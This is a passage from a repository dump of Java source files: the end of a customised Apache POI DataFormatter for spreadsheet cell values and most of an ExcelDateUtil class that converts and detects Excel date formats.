\t\t\tBigDecimal decimal = new BigDecimal(value);\n            \t\tvalue =decimal.setScale(15-index, BigDecimal.ROUND_HALF_UP).doubleValue();\n            \t\treturn generalDecimalNumFormat.format(value);\n        \t\t}\n        \t\t\n        \t}\n        \treturn re;\n        }\n        Format numberFormat = getFormat(value, formatIndex, formatString);\n        if (numberFormat == null) {\n            return String.valueOf(value);\n        }\n        \n        // When formatting 'value', double to text to BigDecimal produces more\n        // accurate results than double to Double in JDK8 (as compared to\n        // previous versions). However, if the value contains E notation, this\n        // would expand the values, which we do not want, so revert to\n        // original method.\n        String result;\n        final String textValue = NumberToTextConverter.toText(value);\n        if (textValue.indexOf('E') > -1) {\n            result = numberFormat.format(new Double(value));\n        }\n        else {\n            result = numberFormat.format(new BigDecimal(textValue));\n        }\n        // Complete scientific notation by adding the missing +.\n        if (result.indexOf('E') > -1 && !result.contains(\"E-\")) {\n            result = result.replaceFirst(\"E\", \"E+\");\n        }\n        return result;\n    }\n\n    private Format getDateFormat() {\n    \tSimpleDateFormat dateFormat = localFormat.get();\n    \tif (dateFormat==null) {\n\t\t\t\n    \t\tdateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    \t\tlocalFormat.set(dateFormat);\n\t\t}\n\t\treturn dateFormat;\n\t}\n\n\t/**\n     * <p>\n     * Returns the formatted value of a cell as a <tt>String</tt> regardless\n     * of the cell type. If the Excel format pattern cannot be parsed then the\n     * cell value will be formatted using a default format.\n     * </p>\n     * <p>When passed a null or blank cell, this method will return an empty\n     * String (\"\"). Formulas in formula type cells will not be evaluated.\n     * </p>\n     *\n     * @param cell The cell\n     * @return the formatted cell value as a String\n     */\n    public String formatCellValue(Cell cell) {\n        return formatCellValue(cell, null);\n    }\n\n    /**\n     * <p>\n     * Returns the formatted value of a cell as a <tt>String</tt> regardless\n     * of the cell type. If the Excel format pattern cannot be parsed then the\n     * cell value will be formatted using a default format.\n     * </p>\n     * <p>When passed a null or blank cell, this method will return an empty\n     * String (\"\"). Formula cells will be evaluated using the given\n     * {@link FormulaEvaluator} if the evaluator is non-null. If the\n     * evaluator is null, then the formula String will be returned. The caller\n     * is responsible for setting the currentRow on the evaluator\n     *</p>\n     *\n     * @param cell The cell (can be null)\n     * @param evaluator The FormulaEvaluator (can be null)\n     * @return a string value of the cell\n     */\n    public String formatCellValue(Cell cell, FormulaEvaluator evaluator) {\n        localeChangedObervable.checkForLocaleChange();\n        \n        if (cell == null) {\n            return \"\";\n        }\n\n        int cellType = cell.getCellType();\n        if (cellType == Cell.CELL_TYPE_FORMULA) {\n            if (evaluator == null) {\n                return cell.getCellFormula();\n            }\n            cellType = evaluator.evaluateFormulaCell(cell);\n        }\n        switch (cellType) {\n            case Cell.CELL_TYPE_NUMERIC :\n\n                if (ExcelDateUtil.isCellDateFormatted(cell)) {\n                    return getFormattedDateString(cell);\n                }\n                return getFormattedNumberString(cell);\n\n            case Cell.CELL_TYPE_STRING :\n                return cell.getRichStringCellValue().getString();\n\n            case Cell.CELL_TYPE_BOOLEAN :\n                return String.valueOf(cell.getBooleanCellValue());\n            case Cell.CELL_TYPE_BLANK :\n                return \"\";\n            case Cell.CELL_TYPE_ERROR:\n            \treturn FormulaError.forInt(cell.getErrorCellValue()).getString();\n        }\n        throw new RuntimeException(\"Unexpected celltype (\" + cellType + \")\");\n    }\n\n\n    /**\n     * <p>\n     * Sets a default number format to be used when the Excel format cannot be\n     * parsed successfully. <b>Note:</b> This is a fall back for when an error\n     * occurs while parsing an Excel number format pattern. This will not\n     * affect cells with the <em>General</em> format.\n     * </p>\n     * <p>\n     * The value that will be passed to the Format's format method (specified\n     * by <code>java.text.Format#format</code>) will be a double value from a\n     * numeric cell. Therefore the code in the format method should expect a\n     * <code>Number</code> value.\n     * </p>\n     *\n     * @param format A Format instance to be used as a default\n     * @see java.text.Format#format\n     */\n    public void setDefaultNumberFormat(Format format) {\n        Iterator<Map.Entry<String,Format>> itr = formats.entrySet().iterator();\n        while(itr.hasNext()) {\n            Map.Entry<String,Format> entry = itr.next();\n            if (entry.getValue() == generalDecimalNumFormat\n                    || entry.getValue() == generalWholeNumFormat) {\n                entry.setValue(format);\n            }\n        }\n        defaultNumFormat = format;\n    }\n\n    /**\n     * Adds a new format to the available formats.\n     * <p>\n     * The value that will be passed to the Format's format method (specified\n     * by <code>java.text.Format#format</code>) will be a double value from a\n     * numeric cell. Therefore the code in the format method should expect a\n     * <code>Number</code> value.\n     * </p>\n     * @param excelFormatStr The data format string\n     * @param format A Format instance\n     */\n    public void addFormat(String excelFormatStr, Format format) {\n        formats.put(excelFormatStr, format);\n    }\n\n    // Some custom formats\n\n    /**\n     * @return a <tt>DecimalFormat</tt> with parseIntegerOnly set <code>true</code>\n     */\n    private static DecimalFormat createIntegerOnlyFormat(String fmt) {\n        DecimalFormatSymbols dsf = DecimalFormatSymbols.getInstance(Locale.ROOT);\n        DecimalFormat result = new DecimalFormat(fmt, dsf);\n        result.setParseIntegerOnly(true);\n        return result;\n    }\n    \n    /**\n     * Enables excel style rounding mode (round half up) on the \n     *  Decimal Format given.\n     */\n    public static void setExcelStyleRoundingMode(DecimalFormat format) {\n        setExcelStyleRoundingMode(format, RoundingMode.HALF_UP);\n    }\n\n    /**\n     * Enables custom rounding mode on the given Decimal Format.\n     * @param format DecimalFormat\n     * @param roundingMode RoundingMode\n     */\n    public static void setExcelStyleRoundingMode(DecimalFormat format, RoundingMode roundingMode) {\n       format.setRoundingMode(roundingMode);\n    }\n\n    /**\n     * If the Locale has been changed via {@link LocaleUtil#setUserLocale(Locale)} the stored\n     * formats need to be refreshed. All formats which aren't originated from DataFormatter\n     * itself, i.e. all Formats added via {@link DataFormatter#addFormat(String, Format)} and\n     * {@link DataFormatter#setDefaultNumberFormat(Format)}, need to be added again.\n     * To notify callers, the returned {@link Observable} should be used.\n     * The Object in {@link Observer#update(Observable, Object)} is the new Locale.\n     *\n     * @return the listener object, where callers can register themself\n     */\n    public Observable getLocaleChangedObservable() {\n        return localeChangedObervable;\n    }\n\n    /**\n     * Update formats when locale has been changed\n     *\n     * @param observable usually this is our own Observable instance\n     * @param localeObj only reacts on Locale objects\n     */\n    public void update(Observable observable, Object localeObj) {\n        if (!(localeObj instanceof Locale))  return;\n        Locale newLocale = (Locale)localeObj;\n        if (!localeIsAdapting || newLocale.equals(locale)) return;\n        \n        locale = newLocale;\n        \n        dateSymbols = DateFormatSymbols.getInstance(locale);\n        decimalSymbols = DecimalFormatSymbols.getInstance(locale);\n        generalWholeNumFormat = new DecimalFormat(\"#\", decimalSymbols);\n        generalDecimalNumFormat = new DecimalFormat(\"#.##################\", decimalSymbols);\n\n        // init built-in formats\n\n        formats.clear();\n        Format zipFormat = ZipPlusFourFormat.instance;\n        addFormat(\"00000\\\\-0000\", zipFormat);\n        addFormat(\"00000-0000\", zipFormat);\n\n        Format phoneFormat = PhoneFormat.instance;\n        // allow for format string variations\n        addFormat(\"[<=9999999]###\\\\-####;\\\\(###\\\\)\\\\ ###\\\\-####\", phoneFormat);\n        addFormat(\"[<=9999999]###-####;(###) ###-####\", phoneFormat);\n        addFormat(\"###\\\\-####;\\\\(###\\\\)\\\\ ###\\\\-####\", phoneFormat);\n        addFormat(\"###-####;(###) ###-####\", phoneFormat);\n\n        Format ssnFormat = SSNFormat.instance;\n        addFormat(\"000\\\\-00\\\\-0000\", ssnFormat);\n        addFormat(\"000-00-0000\", ssnFormat);\n    }\n\n\n\n    /**\n     * Format class for Excel's SSN format. This class mimics Excel's built-in\n     * SSN formatting.\n     *\n     * @author Wujun\n     */\n    @SuppressWarnings(\"serial\")\n   private static final class SSNFormat extends Format {\n        public static final Format instance = new SSNFormat();\n        private static final DecimalFormat df = createIntegerOnlyFormat(\"000000000\");\n        private SSNFormat() {\n            // enforce singleton\n        }\n\n        /** Format a number as an SSN */\n        public static String format(Number num) {\n            String result = df.format(num);\n            StringBuffer sb = new StringBuffer();\n            sb.append(result.substring(0, 3)).append('-');\n            sb.append(result.substring(3, 5)).append('-');\n            sb.append(result.substring(5, 9));\n            return sb.toString();\n        }\n\n        @Override\n        public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {\n            return toAppendTo.append(format((Number)obj));\n        }\n\n        @Override\n        public Object parseObject(String source, ParsePosition pos) {\n            return df.parseObject(source, pos);\n        }\n    }\n\n    /**\n     * Format class for Excel Zip + 4 format. This class mimics Excel's\n     * built-in formatting for Zip + 4.\n     * @author Wujun\n     */\n    @SuppressWarnings(\"serial\")\n   private static final class ZipPlusFourFormat extends Format {\n        public static final Format instance = new ZipPlusFourFormat();\n        private static final DecimalFormat df = createIntegerOnlyFormat(\"000000000\");\n        private ZipPlusFourFormat() {\n            // enforce singleton\n        }\n\n        /** Format a number as Zip + 4 */\n        public static String format(Number num) {\n            String result = df.format(num);\n            StringBuffer sb = new StringBuffer();\n            sb.append(result.substring(0, 5)).append('-');\n            sb.append(result.substring(5, 9));\n            return sb.toString();\n        }\n\n        @Override\n        public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {\n            return toAppendTo.append(format((Number)obj));\n        }\n\n        @Override\n        public Object parseObject(String source, ParsePosition pos) {\n            return df.parseObject(source, pos);\n        }\n    }\n\n    /**\n     * Format class for Excel phone number format. This class mimics Excel's\n     * built-in phone number formatting.\n     * @author Wujun\n     */\n    @SuppressWarnings(\"serial\")\n   private static final class PhoneFormat extends Format {\n        public static final Format instance = new PhoneFormat();\n        private static final DecimalFormat df = createIntegerOnlyFormat(\"##########\");\n        private PhoneFormat() {\n            // enforce singleton\n        }\n\n        /** Format a number as a phone number */\n        public static String format(Number num) {\n            String result = df.format(num);\n            StringBuffer sb = new StringBuffer();\n            String seg1, seg2, seg3;\n            int len = result.length();\n            if (len <= 4) {\n                return result;\n            }\n\n            seg3 = result.substring(len - 4, len);\n            seg2 = result.substring(Math.max(0, len - 7), len - 4);\n            seg1 = result.substring(Math.max(0, len - 10), Math.max(0, len - 7));\n\n            if(seg1 != null && seg1.trim().length() > 0) {\n                sb.append('(').append(seg1).append(\") \");\n            }\n            if(seg2 != null && seg2.trim().length() > 0) {\n                sb.append(seg2).append('-');\n            }\n            sb.append(seg3);\n            return sb.toString();\n        }\n\n        @Override\n        public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {\n            return toAppendTo.append(format((Number)obj));\n        }\n\n        @Override\n        public Object parseObject(String source, ParsePosition pos) {\n            return df.parseObject(source, pos);\n        }\n    }\n    \n\n    \n    \n    /**\n     * Format class that does nothing and always returns a constant string.\n     *\n     * This format is used to simulate Excel's handling of a format string\n     * of all # when the value is 0. Excel will output \"\", Java will output \"0\".\n     *\n     * @see DataFormatter#createFormat(double, int, String)\n     */\n    @SuppressWarnings(\"serial\")\n   private static final class ConstantStringFormat extends Format {\n        private static final DecimalFormat df = createIntegerOnlyFormat(\"##########\");\n        private final String str;\n        public ConstantStringFormat(String s) {\n            str = s;\n        }\n\n        @Override\n        public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {\n            return toAppendTo.append(str);\n        }\n\n        @Override\n        public Object parseObject(String source, ParsePosition pos) {\n            return df.parseObject(source, pos);\n        }\n    }\n\n\n\n\n\tpublic boolean isIgnoreNumFormat() {\n\t\treturn ignoreNumFormat;\n\t}\n\n\tpublic void setIgnoreNumFormat(boolean ignoreNumFormat) {\n\t\tthis.ignoreNumFormat = ignoreNumFormat;\n\t}\n    \n\t\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/usermodel/ExcelDateUtil.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.usermodel;\n\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.TimeZone;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.util.LocaleUtil;\n/**\n * Contains methods for dealing with Excel dates.\n * change form {@link org.apache.poi.ss.usermodel.DateUtil};\n */\npublic class ExcelDateUtil {\n\n    protected ExcelDateUtil() {\n        // no instances of this class\n    }\n\n    public static final int SECONDS_PER_MINUTE = 60;\n    public static final int MINUTES_PER_HOUR = 60;\n    public static final int HOURS_PER_DAY = 24;\n    public static final int SECONDS_PER_DAY = (HOURS_PER_DAY * MINUTES_PER_HOUR * SECONDS_PER_MINUTE);\n\n    private static final int    BAD_DATE         = -1;   // used to specify that date is invalid\n    public static final long   DAY_MILLISECONDS = SECONDS_PER_DAY * 1000L;\n\n    private static final Pattern TIME_SEPARATOR_PATTERN = Pattern.compile(\":\");\n\n    /**\n     * The following patterns are used in {@link #isADateFormat(int, String)}\n     */\n    private static final Pattern date_ptrn1 = Pattern.compile(\"^\\\\[\\\\$\\\\-.*?\\\\]\");\n    private static final Pattern date_ptrn2 = Pattern.compile(\"^\\\\[[a-zA-Z]+\\\\]\");\n    private static final Pattern date_ptrn3 = Pattern.compile(\"^\\\\[[DBNum]+\\\\d{1}\\\\]\");\n    private static final Pattern date_chinese = Pattern.compile(\"[年月日时分秒]|(上午)|(下午)\");\n    private static final Pattern date_ptrn3a = Pattern.compile(\"[yYmMdDhHsS]\");\n    private static final Pattern date_ptrn3b = Pattern.compile(\"^[\\\\[\\\\]yYmMdDhHsS\\\\-T/,. :\\\"\\\\\\\\]+0*[ampAMP/]*$\");\n    //  elapsed time patterns: [h],[m] and [s]\n    private static final Pattern date_ptrn4 = Pattern.compile(\"^\\\\[([hH]+|[mM]+|[sS]+)\\\\]\");\n\n    /**\n     * Given a Date, converts it into a double representing its internal Excel representation,\n     *   which is the number of days since 1/1/1900. Fractional days represent hours, minutes, and seconds.\n     *\n     * @return Excel representation of Date (-1 if error - test for error by checking for less than 0.1)\n     * @param  date the Date\n     */\n    public static double getExcelDate(Date date) {\n        return getExcelDate(date, false);\n    }\n    /**\n     * Given a Date, converts it into a double representing its internal Excel representation,\n     *   which is the number of days since 1/1/1900. Fractional days represent hours, minutes, and seconds.\n     *\n     * @return Excel representation of Date (-1 if error - test for error by checking for less than 0.1)\n     * @param date the Date\n     * @param use1904windowing Should 1900 or 1904 date windowing be used?\n     */\n    public static double getExcelDate(Date date, boolean use1904windowing) {\n        Calendar calStart = LocaleUtil.getLocaleCalendar();\n        calStart.setTime(date);   // If date includes hours, minutes, and seconds, set them to 0\n        return internalGetExcelDate(calStart, use1904windowing);\n    }\n    /**\n     * Given a Date in the form of a Calendar, converts it into a double\n     *  representing its internal Excel representation, which is the\n     *  number of days since 1/1/1900. Fractional days represent hours,\n     *  minutes, and seconds.\n     *\n     * @return Excel representation of Date (-1 if error - test for error by checking for less than 0.1)\n     * @param date the Calendar holding the date to convert\n     * @param use1904windowing Should 1900 or 1904 date windowing be used?\n     */\n    public static double getExcelDate(Calendar date, boolean use1904windowing) {\n        // Don't alter the supplied Calendar as we do our work\n        return internalGetExcelDate( (Calendar)date.clone(), use1904windowing );\n    }\n    private static double internalGetExcelDate(Calendar date, boolean use1904windowing) {\n        if ((!use1904windowing && date.get(Calendar.YEAR) < 1900) ||\n            (use1904windowing && date.get(Calendar.YEAR) < 1904))\n        {\n            return BAD_DATE;\n        }\n        // Because of daylight time saving we cannot use\n        //     date.getTime() - calStart.getTimeInMillis()\n        // as the difference in milliseconds between 00:00 and 04:00\n        // can be 3, 4 or 5 hours but Excel expects it to always\n        // be 4 hours.\n        // E.g. 2004-03-28 04:00 CEST - 2004-03-28 00:00 CET is 3 hours\n        // and 2004-10-31 04:00 CET - 2004-10-31 00:00 CEST is 5 hours\n        double fraction = (((date.get(Calendar.HOUR_OF_DAY) * 60\n                             + date.get(Calendar.MINUTE)\n                            ) * 60 + date.get(Calendar.SECOND)\n                           ) * 1000 + date.get(Calendar.MILLISECOND)\n                          ) / ( double ) DAY_MILLISECONDS;\n        Calendar calStart = dayStart(date);\n\n        double value = fraction + absoluteDay(calStart, use1904windowing);\n\n        if (!use1904windowing && value >= 60) {\n            value++;\n        } else if (use1904windowing) {\n            value--;\n        }\n\n        return value;\n    }\n\n    /**\n     *  Given an Excel date with using 1900 date windowing, and\n     *  converts it to a java.util.Date.\n     *  \n     *  Excel Dates and Times are stored without any timezone \n     *  information. If you know (through other means) that your file \n     *  uses a different TimeZone to the system default, you can use\n     *  this version of the getJavaDate() method to handle it.\n     *   \n     *  @param date  The Excel date.\n     *  @param tz The TimeZone to evaluate the date in\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Date getJavaDate(double date, TimeZone tz) {\n       return getJavaDate(date, false, tz, false);\n    }\n    /**\n     *  Given an Excel date with using 1900 date windowing, and\n     *   converts it to a java.util.Date.\n     *\n     *  NOTE: If the default <code>TimeZone</code> in Java uses Daylight\n     *  Saving Time then the conversion back to an Excel date may not give\n     *  the same value, that is the comparison\n     *  <CODE>excelDate == getExcelDate(getJavaDate(excelDate,false))</CODE>\n     *  is not always true. For example if default timezone is\n     *  <code>Europe/Copenhagen</code>, on 2004-03-28 the minute after\n     *  01:59 CET is 03:00 CEST, if the excel date represents a time between\n     *  02:00 and 03:00 then it is converted to past 03:00 summer time\n     *\n     *  @param date  The Excel date.\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     *  @see java.util.TimeZone\n     */\n    public static Date getJavaDate(double date) {\n        return getJavaDate(date, false, null, false);\n    }\n\n    /**\n     *  Given an Excel date with either 1900 or 1904 date windowing,\n     *  converts it to a java.util.Date.\n     *  \n     *  Excel Dates and Times are stored without any timezone \n     *  information. If you know (through other means) that your file \n     *  uses a different TimeZone to the system default, you can use\n     *  this version of the getJavaDate() method to handle it.\n     *   \n     *  @param date  The Excel date.\n     *  @param tz The TimeZone to evaluate the date in\n     *  @param use1904windowing  true if date uses 1904 windowing,\n     *   or false if using 1900 date windowing.\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Date getJavaDate(double date, boolean use1904windowing, TimeZone tz) {\n        return getJavaDate(date, use1904windowing, tz, false);\n    }\n    \n    /**\n     *  Given an Excel date with either 1900 or 1904 date windowing,\n     *  converts it to a java.util.Date.\n     *  \n     *  Excel Dates and Times are stored without any timezone \n     *  information. If you know (through other means) that your file \n     *  uses a different TimeZone to the system default, you can use\n     *  this version of the getJavaDate() method to handle it.\n     *   \n     *  @param date  The Excel date.\n     *  @param tz The TimeZone to evaluate the date in\n     *  @param use1904windowing  true if date uses 1904 windowing,\n     *   or false if using 1900 date windowing.\n     *  @param roundSeconds round to closest second\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Date getJavaDate(double date, boolean use1904windowing, TimeZone tz, boolean roundSeconds) {\n        Calendar calendar = getJavaCalendar(date, use1904windowing, tz, roundSeconds);\n        return calendar == null ? null : calendar.getTime();\n    }\n    \n    /**\n     *  Given an Excel date with either 1900 or 1904 date windowing,\n     *  converts it to a java.util.Date.\n     *\n     *  NOTE: If the default <code>TimeZone</code> in Java uses Daylight\n     *  Saving Time then the conversion back to an Excel date may not give\n     *  the same value, that is the comparison\n     *  <CODE>excelDate == getExcelDate(getJavaDate(excelDate,false))</CODE>\n     *  is not always true. For example if default timezone is\n     *  <code>Europe/Copenhagen</code>, on 2004-03-28 the minute after\n     *  01:59 CET is 03:00 CEST, if the excel date represents a time between\n     *  02:00 and 03:00 then it is converted to past 03:00 summer time\n     *\n     *  @param date  The Excel date.\n     *  @param use1904windowing  true if date uses 1904 windowing,\n     *   or false if using 1900 date windowing.\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     *  @see java.util.TimeZone\n     */\n    public static Date getJavaDate(double date, boolean use1904windowing) {\n        return getJavaDate(date, use1904windowing, null, false);\n    }\n\n    public static void setCalendar(Calendar calendar, int wholeDays,\n            int millisecondsInDay, boolean use1904windowing, boolean roundSeconds) {\n        int startYear = 1900;\n        int dayAdjust = -1; // Excel thinks 2/29/1900 is a valid date, which it isn't\n        if (use1904windowing) {\n            startYear = 1904;\n            dayAdjust = 1; // 1904 date windowing uses 1/2/1904 as the first day\n        }\n        else if (wholeDays < 61) {\n            // Date is prior to 3/1/1900, so adjust because Excel thinks 2/29/1900 exists\n            // If Excel date == 2/29/1900, will become 3/1/1900 in Java representation\n            dayAdjust = 0;\n        }\n        calendar.set(startYear,0, wholeDays + dayAdjust, 0, 0, 0);\n        calendar.set(Calendar.MILLISECOND, millisecondsInDay);\n        if (calendar.get(Calendar.MILLISECOND) == 0) {\n            calendar.clear(Calendar.MILLISECOND);\n        }\n        if (roundSeconds) {\n            calendar.add(Calendar.MILLISECOND, 500);\n            calendar.clear(Calendar.MILLISECOND);\n        }\n    }\n\n\n    /**\n     * Get EXCEL date as Java Calendar (with default time zone).\n     * This is like {@link #getJavaDate(double)} but returns a Calendar object.\n     *  @param date  The Excel date.\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Calendar getJavaCalendar(double date) {\n        return getJavaCalendar(date, false, (TimeZone)null, false);\n    }\n\n    /**\n     * Get EXCEL date as Java Calendar (with default time zone).\n     * This is like {@link #getJavaDate(double, boolean)} but returns a Calendar object.\n     *  @param date  The Excel date.\n     *  @param use1904windowing  true if date uses 1904 windowing,\n     *   or false if using 1900 date windowing.\n     *  @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Calendar getJavaCalendar(double date, boolean use1904windowing) {\n        return getJavaCalendar(date, use1904windowing, (TimeZone)null, false);\n    }\n\n    /**\n     * Get EXCEL date as Java Calendar with UTC time zone.\n     * This is similar to {@link #getJavaDate(double, boolean)} but returns a\n     * Calendar object that has UTC as time zone, so no daylight saving hassle.\n     * @param date  The Excel date.\n     * @param use1904windowing  true if date uses 1904 windowing,\n     *  or false if using 1900 date windowing.\n     * @return Java representation of the date in UTC, or null if date is not a valid Excel date\n     */\n    public static Calendar getJavaCalendarUTC(double date, boolean use1904windowing) {\n    \treturn getJavaCalendar(date, use1904windowing, LocaleUtil.TIMEZONE_UTC, false);\n    }\n\n\n    /**\n     * Get EXCEL date as Java Calendar with given time zone.\n     * @param date  The Excel date.\n     * @param use1904windowing  true if date uses 1904 windowing,\n     *  or false if using 1900 date windowing.\n     * @param timeZone The TimeZone to evaluate the date in\n     * @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Calendar getJavaCalendar(double date, boolean use1904windowing, TimeZone timeZone) {\n        return getJavaCalendar(date, use1904windowing, timeZone, false);\n    }\n        \n    /**\n     * Get EXCEL date as Java Calendar with given time zone.\n     * @param date  The Excel date.\n     * @param use1904windowing  true if date uses 1904 windowing,\n     *  or false if using 1900 date windowing.\n     * @param timeZone The TimeZone to evaluate the date in\n     * @param roundSeconds round to closest second\n     * @return Java representation of the date, or null if date is not a valid Excel date\n     */\n    public static Calendar getJavaCalendar(double date, boolean use1904windowing, TimeZone timeZone, boolean roundSeconds) {\n        if (!isValidExcelDate(date)) {\n            return null;\n        }\n        int wholeDays = (int)Math.floor(date);\n        int millisecondsInDay = (int)((date - wholeDays) * DAY_MILLISECONDS + 0.5);\n        Calendar calendar;\n        if (timeZone != null) {\n            calendar = LocaleUtil.getLocaleCalendar(timeZone);\n        } else {\n            calendar = LocaleUtil.getLocaleCalendar(); // using default time-zone\n        }\n        setCalendar(calendar, wholeDays, millisecondsInDay, use1904windowing, roundSeconds);\n        return calendar;\n    }\n\n    // variables for performance optimization:\n    // avoid re-checking DataUtil.isADateFormat(int, String) if a given format\n    // string represents a date format if the same string is passed multiple times.\n    // see https://issues.apache.org/bugzilla/show_bug.cgi?id=55611\n    private static ThreadLocal<Integer> lastFormatIndex = new ThreadLocal<Integer>() {\n        protected Integer initialValue() {\n            return -1;\n        }\n    };\n    private static ThreadLocal<String> lastFormatString = new ThreadLocal<String>();\n    private static ThreadLocal<Boolean> lastCachedResult = new ThreadLocal<Boolean>();\n    \n    private static boolean isCached(String formatString, int formatIndex) {\n        String cachedFormatString = lastFormatString.get();\n        return cachedFormatString != null && formatIndex == lastFormatIndex.get()\n                && formatString.equals(cachedFormatString);\n    }\n\n    private static void cache(String formatString, int formatIndex, boolean cached) {\n        lastFormatIndex.set(formatIndex);\n        lastFormatString.set(formatString);\n        lastCachedResult.set(Boolean.valueOf(cached));\n    }\n\n    /**\n     * Given a format ID and its format String, will check to see if the\n     *  format represents a date format or not.\n     * Firstly, it will check to see if the format ID corresponds to an\n     *  internal excel date format (eg most US date formats)\n     * If not, it will check to see if the format string only contains\n     *  date formatting characters (ymd-/), which covers most\n     *  non US date formats.\n     *\n     * @param formatIndex The index of the format, eg from ExtendedFormatRecord.getFormatIndex\n     * @param formatString The format string, eg from FormatRecord.getFormatString\n     * @see #isInternalDateFormat(int)\n     */\n\n    public static boolean isADateFormat(int formatIndex, String formatString) {\n        // First up, is this an internal date format?\n        if(isInternalDateFormat(formatIndex)) {\n            cache(formatString, formatIndex, true);\n            return true;\n        }\n\n        // If we didn't get a real string, don't even cache it as we can always find this out quickly\n        if(formatString == null || formatString.length() == 0) {\n            return false;\n        }\n\n        // check the cache first\n        if (isCached(formatString, formatIndex)) {\n            return lastCachedResult.get();\n        }\n\n        String fs = formatString;\n        /*if (false) {\n            // Normalize the format string. The code below is equivalent\n            // to the following consecutive regexp replacements:\n\n             // Translate \\- into just -, before matching\n             fs = fs.replaceAll(\"\\\\\\\\-\",\"-\");\n             // And \\, into ,\n             fs = fs.replaceAll(\"\\\\\\\\,\",\",\");\n             // And \\. into .\n             fs = fs.replaceAll(\"\\\\\\\\\\\\.\",\".\");\n             // And '\\ ' into ' '\n             fs = fs.replaceAll(\"\\\\\\\\ \",\" \");\n\n             // If it end in ;@, that's some crazy dd/mm vs mm/dd\n             //  switching stuff, which we can ignore\n             fs = fs.replaceAll(\";@\", \"\");\n\n             // The code above was reworked as suggested in bug 48425:\n             // simple loop is more efficient than consecutive regexp replacements.\n        }*/\n        StringBuilder sb = new StringBuilder(fs.length());\n        for (int i = 0; i < fs.length(); i++) {\n            char c = fs.charAt(i);\n            if (i < fs.length() - 1) {\n                char nc = fs.charAt(i + 1);\n                if (c == '\\\\') {\n                    switch (nc) {\n                        case '-':\n                        case ',':\n                        case '.':\n                        case ' ':\n                        case '\\\\':\n                            // skip current '\\' and continue to the next char\n                            continue;\n                    }\n                } else if (c == ';' && nc == '@') {\n                    i++;\n                    // skip \";@\" duplets\n                    continue;\n                }\n            }\n            sb.append(c);\n        }\n        fs = sb.toString();\n\n        // short-circuit if it indicates elapsed time: [h], [m] or [s]\n        if(date_ptrn4.matcher(fs).matches()){\n            cache(formatString, formatIndex, true);\n            return true;\n        }\n\n        fs = date_ptrn3.matcher(fs).replaceAll(\"\");\n        // If it starts with [$-...], then could be a date, but\n        //  who knows what that starting bit is all about\n        fs = date_ptrn1.matcher(fs).replaceAll(\"\");\n        // If it starts with something like [Black] or [Yellow],\n        //  then it could be a date\n        fs = date_ptrn2.matcher(fs).replaceAll(\"\");\n        \n        // You're allowed something like dd/mm/yy;[red]dd/mm/yy\n        //  which would place dates before 1900/1904 in red\n        // For now, only consider the first one\n        if(fs.indexOf(';') > 0 && fs.indexOf(';') < fs.length()-1) {\n           fs = fs.substring(0, fs.indexOf(';'));\n        }\n\n        // Ensure it has some date letters in it\n        // (Avoids false positives on the rest of pattern 3)\n        if (! date_ptrn3a.matcher(fs).find()) {\n           return false;\n        }\n        \n        //去除中文字符 年 月 日 时分秒 等\n        fs = date_chinese.matcher(fs).replaceAll(\"\");\n        // If we get here, check it's only made up, in any case, of:\n        //  y m d h s - \\ / , . : [ ] T\n        // optionally followed by AM/PM\n\n        boolean result = date_ptrn3b.matcher(fs).matches();\n        cache(formatString, formatIndex, result);\n        return result;\n    }\n\n    /**\n     * Given a format ID this will check whether the format represents\n     *  an internal excel date format or not.\n     * @see #isADateFormat(int, java.lang.String)\n     */\n    public static boolean isInternalDateFormat(int format) {\n            switch(format) {\n                // Internal Date Formats as described on page 427 in\n                // Microsoft Excel Dev's Kit...\n                case 0x0e:\n                case 0x0f:\n                case 0x10:\n                case 0x11:\n                case 0x12:\n                case 0x13:\n                case 0x14:\n                case 0x15:\n                case 0x16:\n                case 0x2d:\n                case 0x2e:\n                case 0x2f:\n                    return true;\n            }\n       return false;\n    }\n\n    /**\n     *  Check if a cell contains a date\n     *  Since dates are stored internally in Excel as double values\n     *  we infer it is a date if it is formatted as such.\n     *  @see #isADateFormat(int, String)\n     *  @see #isInternalDateFormat(int)\n     */\n    public static boolean isCellDateFormatted(Cell cell) {\n        if (cell == null) return false;\n        boolean bDate = false;\n\n        double d = cell.getNumericCellValue();\n        if ( ExcelDateUtil.isValidExcelDate(d) ) {\n            CellStyle style = cell.getCellStyle();\n            if(style==null) return false;\n            int i = style.getDataFormat();\n            String f = style.getDataFormatString();\n            bDate = isADateFormat(i, f);\n        }\n        return bDate;\n    }\n    /**\n     *  Check if a cell contains a date, checking only for internal\n     *   excel date formats.\n     *  As Excel stores a great many of its dates in \"non-internal\"\n     *   date formats, you will not normally want to use this method.\n     *  @see #isADateFormat(int,String)\n     *  @see #isInternalDateFormat(int)\n     */\n    public static boolean isCellInternalDateFormatted(Cell cell) {\n        if (cell == null) return false;\n        boolean bDate = false;\n\n        double d = cell.getNumericCellValue();\n        if ( ExcelDateUtil.isValidExcelDate(d) ) {\n            CellStyle style = cell.getCellStyle();\n            int i = style.getDataFormat();\n            bDate = isInternalDateFormat(i);\n        }\n        return bDate;\n    }\n\n\n    /**\n     * Given a double, checks if it is a valid Excel date.\n     *\n     * @return true if valid\n     * @param  value the double value\n     */\n\n    public static boolean isValidExcelDate(double value)\n    {\n        return (value > -Double.MIN_VALUE);\n    }\n\n    /**\n     * Given a Calendar, return the number of days since 1900/12/31.\n     *\n     * @return days number of days since 1900/12/31\n     * @param  cal the 